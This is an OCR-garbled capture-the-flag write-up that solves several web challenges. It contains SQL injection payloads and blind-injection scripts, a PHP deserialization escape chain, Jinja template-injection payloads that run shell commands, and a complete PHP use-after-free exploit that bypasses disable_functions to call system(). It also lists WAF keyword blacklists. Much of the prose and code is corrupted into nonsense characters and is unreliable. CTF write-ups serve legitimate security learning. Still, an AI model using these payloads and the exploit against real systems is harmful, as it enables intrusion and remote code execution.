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1' union select 1,database(),3,4,5#
nzhaopin

1' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()#
backup,flag,user

1' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database()#
id,safekey,profile,id, flaaag,id,username,password, safekey,profile

1' union select 1,group_concat(flaaag),3,4,5 from flag#
flag{9cbb834c-0562-4503-a703-0d2092a220bc}
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SRIGHAT system('/readflag'); B LAR R flag T


https://blog.csdn.net/qq_41575340
https://blog.csdn.net/qq_41575340/category_9011377.html
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_41575340/article/details/104497346
https://blog.csdn.net/qq_41575340/category_9011377.html

ETHEG, RALRBEHE T (2333333)
[H1EE B 3 A7 SR i VRt BT BRI S B AL 2 DK B AR A7 T R B 4% (img-g50fFt8M-1582612938441)
(https://s2.ax1x.com/2020/02/24/33BYJx.png)]

B
FTHF UTH R IRIFD :
<?php

# flagfEflag®

include ‘'waf.php’;

header("Content-type: text/html; charset=utf-8");
$db = new mysql();

$id = $_GET['id'];

if ($id) {
if(check_sql($id)){
exit();
} else {
$sql = "select * from flllllllag where id=$id";
$db->query($sql);
}

}
highlight_file(__FILE_ );

REBANEAR—MEN, BF waf XL SHEHITIE. BREBZNERXEEFEMOEEERE. . .

FERFIEN.
2id=if(1,sleep(3),1) W] Lk pRIE AT FO B o

WA RDTIE TIFLARPG: ' % = < > * into load_file outfile like union select insert
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import requests
import time

url = "http://13922ac12da24dc2863fae519bd12b33160484bcc8a748bd.changame.ichunqiu.com/?id="

str_1 = '0123456789abcdefgl[]-"
flag= 'flag{'
for j in range(100):
print j
for i in str_1:
payload = '1%20and%20if(f14g%20REGEXP%20"'+flag+i+'",sleep(5),1)%23"
url 1 = url +payload
try:
res = requests.get(url_1,timeout=3)
except requests.exceptions.ReadTimeout:

flag += i
print flag
break

flag{efa5f746-1914-4013-94c6-4418184985dd}

babyphp
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update.php
<?php

require_once('lib.php');
echo '<html>

<meta charset="utf-8">
<title>update</title>
<h2>EXR—ANRFTERM T, ELRNZEUMBRARE</ h2>
</html>";

if ($_SESSION['login']!=1){
echo "fRIEEFE B! ";

}

$users=new User();

$users->update();
if($_SESSION[ 'login']===1){
require_once("flag.php");
echo $flag;

}

?>

REG MR BI AT 3RS flag , BT ARAIZAR 0k 441E poPeE
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class User

{
public $id;
public $age=null;
public $nickname=null;

public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where
id=".%_SESSION['id']);
[/ BRI RAE T bl
}
public function getNewInfo(){
$age=$_POST[ 'age'];
$nickname=$_POST[ 'nickname’];
return safe(serialize(new Info($age,$nickname)));
}
public function __ destruct(){
return file_get_contents($this->nickname);//f&

}

public function __toString()

{
$this->nickname->update($this->age);
return "0-0";

}

User% B getNewInfo H— AT I8, Hi2E e —LLfE ik

User3k f£7E _ destruct fl _ toString ANBEAR L. destruct EER XA EEUF, T _ toString RPN Y User H{MFRF
TR E& R X N RS, $this->nickname->update($this->age);

FAIEK—T update Fi%

class dbCtrl

{
public function update($sql)
{
/I BERBRE
}
}

RMBEEBEFTAThEE, RITHEERT —TF __call BRI
Info FHFTE—A __call FrbAX A $Info->update HIFFEH T Infok F&F update XANHE, A& R BRI E _ call

class Info{

public $age;

public $nickname;

public $CtrlCase;

public function __ construct($age,$nickname){
$this->age=%$age;
$this->nickname=$nickname;

}

public function _ call($name,$argument)q{
echo $this->CtrlCase->login($argument[0]);



XA call BEARFESR echo $this->CtrlCase->login($argument[0]);

KB doctrl 2K login Hik

class dbCtrl
{

public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("HEBLM, 4iR:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=="admin') {
return $idResult;
}
if (!$idResult) {
echo(' HPARFIE!");
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('HHB4ER! ');
return false;
}
$_SESSION[ 'token']=$this->name;
return $idResult;
¥
public function update($sql)

{
[/ EERBRET

RERIIXER login($sql) R F UBBNTIZHIE . AT CAHEATIENG 218 2 B K F D
BAIE —TFEA Infok,

class Info{

public $age;

public $nickname;

public $CtrlCase;

public function __ construct($age,$nickname){
$this->age=%$age;
$this->nickname=$nickname;

}

public function _ call($name,$argument){
echo $this->CtrlCase->login($argument[0]);

KRBT HIFISERE age M nickname RMX BREL HRT —/NEM $ctricase , WRRNAAHRFIMLFZRFER, 20
DIEHIIXAS BRI . B safe XAMNERBARNRFFIMRIRE T Al 6E.



M‘]iﬁ—T:
<?php

error_reporting(0);
session_start();

class dbCtrl

{
public $token;
public function __construct(){
$this->token = 'admin';
}
}

function safe($parm){
$array= array('union’', 'regexp','load', 'into', 'flag', 'file', "insert',""", "\\',"*","alter");
return str_replace($array, "hacker',$parm);

}
Class Info{

public $CtrlCase;
public function __construct(){
$this->CtrlCase = new dbCtrl();

}

Class User{
public $nickname=null;
public $age=null;
public function __construct(){
$this->nickname = new Info();
$this->age="select password,id from user where username="admin"';

}
Class UpdateHelper{
public $sql;

public function __construct(){
$this->sql= new User();

$a = new UpdateHelper();

// echo serialize($a);

$res = '";s:8:"CtrlCase";' . serialize($a) . '}' . "\n";
echo $res;

//";s:8:"CtrlCase";0:12:"UpdateHelper":1:{s:3:"sql";0:4:"User":2:{s:8:"nickname";0:4:"Info":1:{s:8:"CtrlCase";0:
6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}s:3:"age";s:51:"select password,id from user where username="admin"";}}}

XA payload — 222N FfF . —AN * BT AL hacker JE A ABF SN FRF, #4490 * FI=A union , WA HM T payload

age=1&nickname=***¥ k¥ xkok koo koxokokdokokdokokokdokokokododokdokokkxdkokkxkkx*ynionunion” ;s :8:"CtrlCase";0:12: "UpdateHelper":1:{s:3
:"sql";0:4:"User":2:{s:8:"nickname";0:4:"Info":1:{s:8:"CtrlCase";0:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}s:3:"
age";s:51:"select password,id from user where username="admin"";}}}

[SMaE By e A7 R W VR i P Be A 17 15 AL IR, 2 UOK B8 AR A7 T SR L B A% (img-OndsjUf8-1582612938447)
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PELARRIRLT LIS B B B R I 35S, BRI DR8I Flag T
flag{aa934a2e-666f-4669-bf94-1e6c6e6d9397}
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easysqli_copy

TTHEH, RWGH T IRG:

<?php
function check($str)
{
if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#]|-|\"|&|database/i',$str,$mat
ches))
{
print_r($matches);
return 0;
}
else
{
return 1;
}
}
try
{
$db = new PDO('mysql:host=1localhost;dbname=pdotest', 'root", "**¥***x"):
}
catch(Exception $e)
{
echo $e->getMessage();
}
if(isset($_GET['id']))
{
$id = $_GET['id'];
}
else
{
$test = $db->query("select balabala from tablel");
$res = $test->fetch(PDO::FETCH_ASSOC);
$id = $res['balabala’];
}
if(check($id))
{
$query = "select balabala from tablel where 1=?";
$db->query("set names gbk");
$row = $db->prepare($query);
$row->bindParam(1,$id);
$row->execute();
}

KUK TPDOMERN, BT —AMNKEHLE PDOHFR THSQLIEART, RIAMEXAEEHEL.

RESETHFEZARA

if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#]-|\~|&|database/i',$str,$matches))


https://xz.aliyun.com/t/3950
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select sleep(1) KT AHEHIFERN: 0x73656C65637420736C656570283129

$db->query("set names gbk");
FIXERBRFZRHFEN gok HABBIMMERZTEN.

b, WK

id=1%d1%27%20; set%20@x=0x73656C65637420736C656570283129; prepare%20a%20from%20@x; execute’%20a;
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import requests
import re
import time
import sys

reload(sys)
sys.setdefaultencoding("utf8")

def str_to_hex(s):

return .join([hex(ord(c)).replace('ex', "') for c in s])
def hex_to_str(s):
return ''.join([chr(i) for i in [int(b, 16) for b in s.split(' ')]1])

url = "http://c8a6cd9388a04664b7695f43a2489372baed5bl6de4e4793. changame.ichunqiu.com//?id=1%df%27%20; set%20@x=0x
flag = ""
for j in range(1,100):
print j
for i in range(32,128):
# sql = 'select if((ascii(substr(database(), '+str(j)+',1))>"'+str(i)+"'),1,sleep(100))"
#tpayload="select if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_
schema=database()), "+str(j)+",1))="+str(i)+"),sleep(4),1)"
#print(payload)
#tpayload="select if((ascii(substr((select group_concat(column_name) from information_schema.columns where ta
ble_name='tablel'),"+str(j)+",1))="+str(i)+"),sleep(4),1)"
sql = "select if((ascii(substr((select group_concat(f1111114g) from tablel),"+str(j)+",1))="+str(i)+"),sleep(4
),1)"
# print sql
hex_sql = str_to_hex(sql)
url 1 = url+hex_sql+';prepare%20a%20from%20@x;execute’%20a; "
# print url_1
# exit()
try:
res = requests.get(url_1,timeout=4)
except requests.exceptions.ReadTimeout:
flag +=chr(i)
print flag
break

blacklist
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return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
EAIRT LLER|FR 4 payload: -1 ;show tables; :
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https://imgchr.com/i/3QGcS1

FATT LRI flag FIEERIR
BEERER, RUT —MNEBRERT handler Mysql#ifiEf)-handler

handler F# 7735

mysql> handler user open;
Query OK, @ rows affected (0.00 sec)

mysql> handler user read first;
Rl e e +

| id | name | pass |

e S EE TR Fom-m o +

| 1| admin | admin |

R EEE T Fom-mmm - +

1 row in set (0.00 sec)

mysql> handler user read next;
Y DT - +

| id | name | pass |

e ittt - +

| 2| root | root |

e E T - +

1 row in set (0.00 sec)

mysql> handler user close;
Query OK, @ rows affected (0.00 sec)

BATAT LLUNEEAEH — T o
8 F|payload:

-1';handler “FlagHere™ open;handler "FlagHere  read first;#

(51 I 5 8 A 2R W U il 7 B 7 S B L R DOKE LR IR AF T SR B3 b A% (img-JVDZARVZ-1582612938457)
(https://s2.ax1x.com/2020/02/22/3QJpfs.png)]
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RIHAN 1 FIE Hello Null

I 2 [E% Hello CQGAME

LEATVMA 2-1 EE Hello Null

RIVELEEN B . 2-(ascii(substr(database(),1,1))>1) XFER UL BIHIEE 4

XHE AR T — R 8
sleep,instr,benchmark, format, insert,bin, substring,ord,and, in,or,xor

HH union fl select BMMEAALRBILIE, —REHIBHEIFEFERF. . -

HT ST in, BRAVRIES A information_schema XM ERBEHBRINEENRLMFZRLT .


https://blog.csdn.net/JesseYoung/article/details/40785137

BRANTFBET R — TMySQLS5.7HI B 45

B Fperformance schemaid T k%%, Brblmysql?Es.7iRAHH T sys schemma, FHAl%IERE Fperformance chemafinformation sc
hemaBiANEE, 255 B8 R PR U3

BB T —5& X FEbypass information_schema

B E E R PERATT LLE sys.schema_table statistics with buffer SREWEKL.
i payload:

2-(ascii(substr((select group_concat(table_name) from sys.schema_table statistics_with_buffer where table_schema
=database()),1,1))>1)

IXBEFRATEL AT ARG H SR F 4 f1ag_1s_h3r3_hhhhh o
ERMNMERZHENT, FREABERT AT EIIHEAR, HEEI T union select join % FERMER

SR H] KPR«
2 - (ascii(substr((select count(*) flag 1s_h3r3_hhhhh),1,1))=49) A ABRIFK S R H—&HE

2 - (ascii(substr((select count(id) flag 1s_h3r3_hhhhh),1,1))=49) W PARIEBIREE id H N1
EERF, RUT —ANEEH:

mysql> select (select 1,0x01,3)>(select * from user limit 1);

e +
| (select 1,0x01,3)>(select * from user limit 1) |
S +
| 0 |
S +

1 row in set (0.00 sec)

mysql> select (select 1,0xff,3)>(select * from user limit 1);

o m m e e +
| (select 1,0xff,3)>(select * from user limit 1) |
e m e e e e +
| 1]
e m e e e e +

1 row in set (0.00 sec)

TR LG Eflag:
payload:

2-(select (select 1,0x01)>(select * from flag 1s_h3r3_hhhhh limit 1))

5 i LA


https://www.anquanke.com/post/id/193512

import requests

def str_to_hex(s):

return .join([hex(ord(c)).replace('ex', "') for c in s])

url = "http://86ad8e55dd3244b488826b4cf0924ce4b5a885066bel43a0.changame.ichunqiu.com/index.php"
headers = {"Content-Type": "application/x-www-form-urlencoded"}

flag=""

for j in range(1,100):
for i in range(32,126):
print i
payload = "id=2-(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buf
fer where table_schema=database()),"+str(j)+",1))<"+str(i)+")"
# a = str_to_hex(chr(i))
# payload = "id=2-(select (select 1,0x"+str_to_hex(flag)+a+")>(select * from flag_1s_h3r3_hhhhh limit 1)

res = requests.post(url=url,data=payload,headers=headers)
# print payload
# print res.text
# exit()
if "Hello NulL" in res.text:
flag += chr(i-1)
print flag
break
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1% %payload: {{{}.__class__. base . subclasses_ ()[103]._ init_ . globals_[' builtins_']['ev'+'al']
(" _dimp"+"ort_"+" ('0"+"s').po"+"pen('ls').read()")}}
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£ flag XM {{{}.__class_ . base . subclasses_ ()[103]. init . globals_ ['_builtins_ ']['ev'+'al']
("_imp"+"ort_"+"_('0"+"s').po"+"pen('cat this_is_the fl'+'ag.txt').read()")}}
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7™ thinkphp6.@.0 XA R — BNIE LR T — MRIASH 8, Hill—%.
BATIEHEKEN, Bh, KAREAEERIIE, BRFABELRT. . .

TE http://123.57.212.112:7892/runtime/session/ XN HFETF, BAITHRE T session B4
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FTTEXE BLE SO, 5B BT A ik B B B AT TR R BT P 2
FREATAT LA LA —AARD 3.

HERANVZRER, B5— T PHPSESSID KIfE, K 102cf8246d140a73584c@e6c02b8.php , EfHERIIZ EMt 4
1€ http://123.57.212.112:7892/runtime/session/ XA HF{TF, LEXAXH, REmEE D%,

(SN BT R B A7 SR T R T B8 B s ML, 2 UK 1 1 AR A7 T SR B 82 B A% (img-wS Acfop-1582612938487)
(https://s2.ax1x.com/2020/02/23/33K2tA.png)]

PRI, RBRIIBARS:

[H1E B e 7 SR W VRt BT BRI R B AL, 2 DK B R AR A7 T SR B3 4% (img-YJCGEven-1582612938488)
(https://s2.ax1x.com/2020/02/23/33K77Q.png)]

HEPITAT REGM4L. - - BN disable functions

(S B e A7 SR M VR 3 BT BB B 18 ML 2 DK B (R A7 T SR B A% (img-fbiT7iz4-1582612938489)
(https://s2.ax1x.com/2020/02/23/33KLhn.png)]

EANEEIEFRARREZ T mail,error_log XM ZEET, RGEHEARHET. « .

<?php
pwn("cd / &&./readflag");
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($3 = $s-1; $j >= 0; $3--) {
$address <<= 8;
$address |= ord($str[$p+$j]);


https://paper.seebug.org/1114/

return $address;

}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & oxff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = o;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & oxff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - ©x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;

}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $text size) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e663)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {



$dereft = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326€6962)
continue;
} else continue;
return $data_addr + $i * 8;

}
function get_binary_base($binary_leak) {

$base = 9;
$start = $binary_leak & Oxfffffffffffffooo;
for($i = 0; $i < Ox1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;

}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;

function __destruct()

{
$this->chtg = $this->ryat;
$this->ryat = 1;

}
class Helper {

public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;0:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";1:2;}}i:1;i:3;i:2;R:5;}";
$out = unserialize($poc);
gc_collect_cycles();
$v = [1;
$v[e] = ptr2str(o, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { }:



if(strlen($abc) == 79 || strlen($abc) == @) {
die("UAF failed");

}

# leaks

$closure_handlers = str2ptr($abc, 0);

$php_heap = str2ptr($abc, 0x58);

$abc_addr = $php_heap - 0xc8;

# fake value

write($abc, 0x60, 2);

write($abc, 0x70, 6);

# fake reference

write($abc, 0x10, $abc_addr + 0x60);

write($abc, 0x18, ©xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);

if(!($base = get_binary_ base($binary_leak))) {
die("Couldn't determine binary base address");

}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");

}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");

}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_ system address");

}

# fake closure object

$fake_obj_offset = oxdo;

for($i = 0; $i < Ox110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));

}

# pwn

write($abc, 0x20, $abc_addr + $fake_obj_offset);

write($abc, Oxde + 0x38, 1, 4); # internal func type

write($abc, Oxdo + Ox68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();

?>

KA EAEBIRSS S, BBEHATH<S T, WHMART flag .

flag{4424232f-959f-4923-b693-cd9b3e7e316f}
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